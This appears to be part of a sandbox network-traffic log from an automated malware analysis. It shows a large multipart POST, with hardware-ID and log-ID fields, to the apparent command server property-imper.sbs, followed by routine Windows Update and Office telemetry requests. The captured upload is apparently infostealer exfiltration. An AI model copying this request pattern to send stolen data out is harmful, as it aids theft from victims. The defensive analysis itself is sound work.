2024-11-24 04:11:33 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=91TYWE8U8QMVU7OQU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 583478 Host: property-imper.sbs
2024-11-24 04:11:33 UTC	15331	OUT	Data Raw: 2d 2d 39 31 54 59 57 45 38 55 38 51 4d 56 55 37 4f 51 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 41 46 45 44 38 41 38 43 46 38 42 41 44 34 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 39 31 54 59 57 45 38 55 38 51 4d 56 55 37 4f 51 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 31 54 59 57 45 38 55 38 51 4d 56 55 37 4f 51 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --91TYWE8U8QMVU7OQUContent-Disposition: form-data; name="hwid"95AFED8A8CF8BAD4D7CBBD6DF28D3732--91TYWE8U8QMVU7OQUContent-Disposition: form-data; name="pid"1--91TYWE8U8QMVU7OQUContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-24 04:11:33 UTC	15331	OUT	Data Raw: 30 ad 10 f5 03 b0 6d 73 cd 38 87 ae c7 25 36 ce 39 91 db 2f 55 a3 16 50 c7 8f af 1f ce 82 37 0b 9d 0a c8 f0 2b f5 06 a0 a5 45 25 95 a2 35 23 16 3f 28 70 01 24 3f 8d 8a 89 4d 58 df f1 8f 5b ef de eb cc f9 1b bb 10 ba 80 68 d4 a7 5b 52 5b f8 f9 ce 2a e2 0a 47 65 49 26 44 4c 3f 66 56 e8 4f cd 6f 27 55 33 2b c5 58 c2 87 44 57 79 c1 20 a7 17 b6 d7 69 35 9f 5d d1 de d7 2e ec e8 5c 8e 01 67 53 c7 b2 d6 0f b1 6c d0 06 16 e1 c4 47 0a 37 aa be 3b 9c e4 a2 db 5c d9 53 6d 82 49 43 10 6d ba 5e ad da b2 04 39 a2 27 46 85 66 27 d4 17 a7 c5 e9 94 6f a4 6f 46 8d e9 ec 66 4c 4a b8 bc 52 d6 8a f2 81 3d 3d 10 f5 3b 26 19 18 b5 c1 9c c4 c4 d3 87 1b d9 74 fd f0 73 51 7f cd 1f 6f d3 86 d0 8b 3e 6f 4e 43 e5 4d 5e 71 90 0b 4a 84 4e 7b 86 a0 b1 88 dd 0f 7e 80 1d 51 65 5c f4 fb e2 Data Ascii: 0ms8%69/UP7+E%5#?(p$?MX[h[R[*GeI&DL?fVOo'U3+XDWy i5].\gSlG7;\SmICm^9'Ff'ooFfLJR==;&tsQo>oNCM^qJN{~Qe\
2024-11-24 04:11:33 UTC	15331	OUT	Data Raw: 29 72 3c 17 80 33 7a 25 49 30 22 46 8e 77 26 65 a0 d9 c7 98 e2 c6 8e cd a4 f9 da 93 5c 4f 65 d4 d4 7e 50 bd 9d 9e 75 7a 46 ba 63 02 d5 38 4c c0 ce 78 60 3f ca 5b 8d c0 85 42 e3 b8 b9 a8 1c b5 54 96 f1 6a 29 2b 90 62 07 46 da 31 d1 fe 62 07 6f 1b 12 d4 1c c2 09 36 d3 06 22 a6 9a 69 ac 4e b0 ba 2a 35 1c a8 10 15 d8 8b ce 5e 31 5f 6e 4e 81 5d b7 7f 0c 50 ce 7b da 87 1b 36 86 b1 b3 39 81 df 9f dc 62 b8 80 2d e6 31 1c e2 c8 f5 3a 3c 33 e8 02 b1 aa 8c 6e e7 9f 7a 57 66 7e 03 2b fd b2 03 01 09 6b e0 4c 5e 87 be 41 88 c9 94 78 02 42 17 0d f7 72 3b 4f 55 b3 b4 7e 54 8c 2b be f4 b2 a3 0f ef 07 45 dc 6b 39 d5 62 9c 70 db 42 ab 81 16 04 73 70 b0 83 1f 4b 64 49 98 95 5b ca f2 e9 9b 25 67 a7 3f 0f 62 cb e0 56 1b 16 d8 ae db 69 46 e0 52 14 81 d2 f2 8a 55 3e 36 b2 9d 06 Data Ascii: )r<3z%I0"Fw&e\Oe~PuzFc8Lx`?[BTj)+bF1bo6"iN*5^1_nN]P{69b-1:<3nzWf~+kL^AxBr;OU~T+Ek9bpBspKdI[%g?bViFRU>6
2024-11-24 04:11:33 UTC	15331	OUT	Data Raw: 9e b7 04 d2 51 bc ec c1 5e 0e 26 1c 0a 52 ed 36 e7 8f 3e 3f a7 d2 c6 9b 78 5a 7c 50 88 0a 6c 48 0d bc 8a 14 2b 70 38 0c 80 e7 df 75 71 96 7b 34 85 66 85 81 1a 77 ba 64 ff fa 51 50 2c 32 76 01 d0 52 ef 0f 91 8f 27 d2 34 dc e9 96 87 dd ea 00 25 a1 0c c8 41 94 8a 94 a9 f4 17 6a 2d cf f7 03 a3 a2 ec 93 01 00 3f ea 32 33 17 7f 0b 97 3c 45 09 8d a6 44 93 31 80 1f 19 8f 88 cb 06 d6 e3 5f 24 d9 33 b2 ca 24 11 2d 04 dd 2d d4 de 99 fc 40 58 0c c0 a6 f7 ad bd 14 4b d6 2a f4 9f fe 4c 67 0a 78 13 6a 82 98 07 5a af 9e 31 ce f3 9c bb f9 be 9c 1c c8 71 e1 83 23 61 17 21 d8 d5 55 08 09 44 d9 cb 69 a0 70 9c ee 60 8c a0 44 07 fa 6f 89 2c cc 0c 11 61 66 14 e3 f4 5d 71 25 f6 9f cb 4e c2 a6 7c ce 48 29 f5 4c f7 14 e5 13 54 43 5c 46 ee 05 39 e8 34 79 7e 56 2a fc 90 d6 82 6e fe Data Ascii: Q^&R6>?xZ\|PlH+p8uq{4fwdQP,2vR'4%Aj-?23<ED1_$3$--@XKLgxjZ1q#a!UDip`Do,af]q%N\|H)LTC\F94y~Vn
2024-11-24 04:11:33 UTC	15331	OUT	Data Raw: d9 d8 14 92 89 69 61 fa 35 88 e8 ac 04 5f 8f 7a 84 22 ef c3 ad 91 34 ef 92 4b 78 0a fa 4b a8 79 41 1f fd d5 92 a6 e6 96 dc 33 91 1c 22 2e f3 e6 84 76 ab ae c8 d6 3e 04 e2 b3 69 97 9d 73 78 d6 41 9c dc df d9 81 cc 27 54 9e f1 c8 a6 b7 9a dd 31 4d be 79 51 f0 48 bf 70 33 63 bf 14 61 a1 e7 0d 79 f6 1a 61 d0 0a a2 c6 04 4a 2e 89 48 8f 0d ef 70 cf 4c 67 98 fb e4 2c 10 e6 80 ed 1e 7a df ae b9 7f 3d 96 8e ff 3c 8e af b8 eb 4e e4 45 cc 05 3f 0e 41 83 32 94 1e 43 b4 3b 7e b1 5b b9 c9 90 66 60 46 96 61 ed 62 d7 6b f7 2a ac 3d 0a a0 95 cb 48 bd 0f a0 b7 1c 81 75 2e 9b a7 28 65 a8 ba 1b 4d e6 df 6e 08 71 52 12 fa 72 ef fc c5 d9 ac 76 17 75 64 d6 60 92 06 31 e6 ae 76 8b cb e0 04 b0 b5 a3 36 04 f3 6f 15 23 53 bd 6a a3 c3 1e db 28 f9 4d a1 c5 ab c4 ac d3 c2 6e 70 8e 0f Data Ascii: ia5_z"4KxKyA3".v>isxA'T1MyQHp3cayaJ.HpLg,z=<NE?A2C;~[f`Fabk*=Hu.(eMnqRrvud`1v6o#Sj(Mnp
2024-11-24 04:11:33 UTC	15331	OUT	Data Raw: 60 ef 52 67 b4 4b d7 5a d7 f3 34 7b c7 d8 b5 ea ed bb a5 01 eb 8f 26 98 7a 55 d8 61 56 a2 43 55 f6 aa a7 47 5c 58 79 98 99 ef c0 d3 b4 b6 cb eb 1e 4f 22 81 97 93 26 70 53 e6 06 5b f5 53 95 60 3e c2 3f 4e 18 1e 7a e6 59 23 f3 91 bb 39 dd f6 8f a5 a1 8c 03 c1 64 87 78 21 67 ce 18 03 69 a4 7e 29 3f 81 5b c8 33 f2 65 d5 bb ea 72 f9 06 1b e6 17 a6 79 db 43 a7 94 2d 12 b5 13 d4 74 64 13 0e 1b 8e 1c 7b 67 4e 63 55 6f 9f 2d fb 30 af 7d 71 1c 23 1d 69 62 45 c9 64 34 0f fe a4 d1 ff c1 c3 64 0d da 12 06 55 e8 c8 ff 6d a4 9d 91 e4 5b bb ee c1 fa 17 49 2b 0e 5f 28 14 04 13 46 94 0c 28 b3 a3 71 fd 1d d6 a8 4e 09 84 7c 7c ad ff e2 a7 0c 75 9b 8f 76 93 56 78 5a 59 45 11 3a 34 83 47 5c b2 20 52 aa de d6 c2 f1 7a 99 05 33 94 34 1a d9 1d ed d1 b1 ea ac 40 eb 44 4b df 05 76 Data Ascii: `RgKZ4{&zUaVCUG\XyO"&pS[S`>?NzY#9dx!gi~)?[3eryC-td{gNcUo-0}q#ibEd4dUm[I+_(F(qN\|\|uvVxZYE:4G\ Rz34@DKv
2024-11-24 04:11:33 UTC	15331	OUT	Data Raw: 4b c0 dc dc 1c 60 9c be eb f0 5b bb f0 77 9b 11 1f 03 e6 c5 ab d7 73 ea 19 fc fd 6e 8f 5f 07 7c bd 9b a3 3b c6 7a 59 a7 1b 35 de 7b 5f 20 d2 ba 2b bd de d7 4f 32 b3 92 2b 2d 55 5f e5 1f 4d cc ae 39 81 8d 5f 95 c9 79 eb f5 dc ba 35 54 13 ed 7e 88 5b a4 c6 3c a8 c6 97 65 ad 81 da 68 ff 9d 53 f7 b4 12 ca c9 28 ed 87 cc eb cc 12 76 e5 2d b7 4a 3e 70 e9 b7 55 08 ad f9 a0 c5 1d 6b 62 db a7 6e e4 10 5b cb 05 b2 f7 9c 5c af 68 61 ab 53 64 33 d3 dd 11 fb 56 b2 e3 2c 07 82 b1 8b 13 a8 52 34 b1 53 c2 1c 48 df dd 86 83 dd 1b 0c d0 ed 86 a7 ad 64 44 bc 2a 68 5f c2 25 20 92 b4 38 25 70 86 ce fa 6c 0a eb 75 ea df d3 dc 4f 7e 03 79 85 66 19 bc 67 09 6d 24 4b 3a e1 f8 a8 5c cb 6f 04 73 5c cb 2d f6 84 fb a0 d8 6c 7f 59 f0 57 c0 cc e8 17 43 32 95 cd 34 45 18 48 9d b3 86 e1 Data Ascii: K`[wsn_\|;zY5{_ +O2+-U_M9_y5T~[<ehS(v-J>pUkbn[\haSd3V,R4SHdD*h_% 8%pluO~yfgm$K:\os\-lYWC24EH
2024-11-24 04:11:33 UTC	15331	OUT	Data Raw: 74 c1 df 4e bd ec 05 5f c4 52 3d e6 fb 07 c3 0b b9 5d 84 b7 87 fd b8 9b 2a 0c 95 99 8e 71 27 55 54 82 8f 97 48 70 8e 22 6d 60 38 0f 62 63 6c b3 34 04 ae 5b 38 d8 2a 46 be 8a 9b ef 6c d3 65 6c ae ff 71 50 c4 9d 29 8e e6 d9 d7 33 f8 72 d6 24 ab 7e b5 78 6b 6e d9 4d 75 d1 9a c9 33 76 6f 93 42 79 68 71 af 72 a6 73 b1 5d 46 b4 9e 53 8a 97 b5 f3 7b 01 81 bc 6b a8 77 8c fa 56 89 62 6d ec 1b 9e bb 79 3a bc 77 b7 62 1f c3 32 75 e8 2c a2 53 36 01 f7 8c 7d d0 dc ec f9 69 ab 21 5c 33 60 aa d5 1c d0 bb 13 5f 47 69 15 6c 58 2f 36 9c 5f fb c6 74 b3 a4 45 1a 26 c2 fd df 44 31 7f 82 30 34 22 27 76 c7 f7 70 96 86 c4 53 20 c3 af f2 eb d8 d5 b7 b8 39 17 e7 39 0e 4f 47 ad af 10 6a 1e 16 3a f8 9e 35 0a ed ea e0 d8 f5 33 13 5e fa 24 7b 0f d5 2b 58 f7 05 25 6d 7e 5e 2c c2 08 6d Data Ascii: tN_R=]q'UTHp"m`8bcl4[8FlelqP)3r$~xknMu3voByhqrs]FS{kwVbmy:wb2u,S6}i!\3`_GilX/6_tE&D104"'vpS 99OGj:53^${+X%m~^,m
2024-11-24 04:11:33 UTC	15331	OUT	Data Raw: 4c 2a 6b 32 11 6d dd b4 09 20 fc 31 01 6e 85 8f 48 85 b4 c7 03 6b 45 04 04 df f6 1c ab f3 dd 5a 9f 2c 1c 70 96 28 53 85 bc 91 29 06 b6 52 50 4b 07 95 b2 e8 d4 ba 95 5d 94 5c 04 79 98 95 fd ac 3e 24 60 bf 97 88 66 e5 dc a3 da cb d4 59 68 ba b0 bd e7 08 ca 4e a5 13 b3 43 bf cc 53 89 31 9b 20 da 1d 3e 4f c7 96 b9 c8 47 e7 7d 32 2b 96 68 30 a1 94 a2 ed 41 ae 0f e6 17 3b 4f 57 8b 4f 0c d4 49 e2 40 2e 2d 59 1b b6 fc ed de 30 a9 df 8a 92 19 49 6e 15 6a 10 eb ee c3 e7 63 94 25 88 84 09 b4 f8 c6 a2 9c 35 6d ed 97 bd 3d 31 f3 30 ae 5f ea f2 60 94 cb f7 0f 2e 19 bc e8 d4 e0 8a 66 ad 62 a6 4a 4b 87 2c 12 f2 04 b1 7e 01 ee 89 51 fb 0f e4 1f dd 35 b5 c0 fb 16 3a a8 0b 72 9d 60 1f 1c 7f 7c 17 93 97 4d 13 d0 ea 93 79 eb 87 be 56 42 f0 54 32 04 66 6c e6 37 f3 25 85 45 27 Data Ascii: L*k2m 1nHkEZ,p(S)RPK]\y>$`fYhNCS1 >OG}2+h0A;OWOI@.-Y0Injc%5m=10_`.fbJK,~Q5:r`\|MyVBT2fl7%E'
2024-11-24 04:11:33 UTC	15331	OUT	Data Raw: 75 de 42 f4 68 ca 12 23 68 f5 38 63 7c 33 25 63 0f 9e ec c1 de f4 2a 5e 6b 5a 8e fe 8d db 58 4c 09 06 25 08 88 a3 58 d6 87 02 f3 3e 0c 15 06 68 ef 4e af fa 65 bb 3c 39 3f 31 5f c5 ae 8c be df 6a c4 b8 1e d2 97 f5 7e 89 1d b0 7a 3f 0d 1a d2 9a e6 39 59 23 45 a5 7a 8f 41 6c 0c b8 55 c2 d2 13 84 d8 cc a5 5f ff 6f f1 98 07 0c 38 06 dc 70 6e 0a b4 99 12 c5 9c e7 9b 85 db cc a2 e9 39 ab 47 81 55 d5 cc 6c e6 ea 77 f8 a1 30 10 ed ca f5 ab df 97 0b 21 03 24 4b 3e 02 aa 91 89 ec 68 ed 9c 74 01 42 66 f9 e0 a6 e2 c3 3d bc 23 02 2a ce 5c a7 be 6d 86 a9 6e 8a fa de 22 b7 70 a1 f1 8b 5a a5 c3 b3 c7 47 04 6c cf 36 f1 72 a6 ce 7d de 21 5a ff 6e 14 96 71 e2 02 0e 12 6d 2e f1 79 16 ff 24 3c ed 86 1c 10 a0 1b 3e 96 04 af 5f 0a 0d ef 25 34 04 f3 30 ce 68 20 f5 61 9a c7 ad 7c Data Ascii: uBh#h8c\|3%c^kZXL%X>hNe<9?1_j~z?9Y#EzAlU_o8pn9GUlw0!$K>htBf=#\mn"pZGl6r}!Znqm.y$<>_%40h a\|
2024-11-24 04:11:37 UTC	1022	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9u0bh9hleqip36ijcs0m7jng6v; expires=Wed, 19-Mar-2025 21:58:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B4BHtxk0heV%2FghuqRoSMAcS%2B8IMYew6Rbyte6mrxYsBRpuzRuH7ouC8f1zN%2BYEBPo82RQYm45OWin9Bfyd8915fYeMSr0qcYUfNgytLQvJc9zl32qU9bfMYHCBAOeQJagD3co6w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e768e412db542fe-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1807&sent=338&recv=605&lost=0&retrans=0&sent_bytes=2845&recv_bytes=586070&delivery_rate=1631284&cwnd=53&unsent_bytes=0&cid=d231b8fd2dea1009&ts=4040&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49730	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:33 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=x+GKtrEwdR9nSl4&MD=2zgGtu86 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-24 04:11:34 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 459a2427-5c1e-4655-a8f0-2c6b5e4e23f1 MS-RequestId: ccccf8dc-f967-4add-aedd-f8cd5794be13 MS-CV: DH9j4oyHTUu2mNow.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 24 Nov 2024 04:11:33 GMT Connection: close Content-Length: 24490
2024-11-24 04:11:34 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-24 04:11:34 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:34 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:35 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8157cc8d-f01e-0003-1961-3b4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041135Z-178bfbc474bxkclvhC1NYC69g400000005f00000000026w4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:35 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:34 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:35 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 29297304-901e-0083-6776-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041135Z-174c587ffdfb5q56hC1TEB04kg00000003sg00000000kb6w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:35 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:34 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: a8d62205-901e-0083-0c0e-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041135Z-174c587ffdftjz9shC1TEBsh9800000003r000000000gkuh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:34 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:35 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 87817176-601e-003e-034d-3c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041135Z-15b8b599d88s6mj9hC1TEBur3000000003pg00000000eqg9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
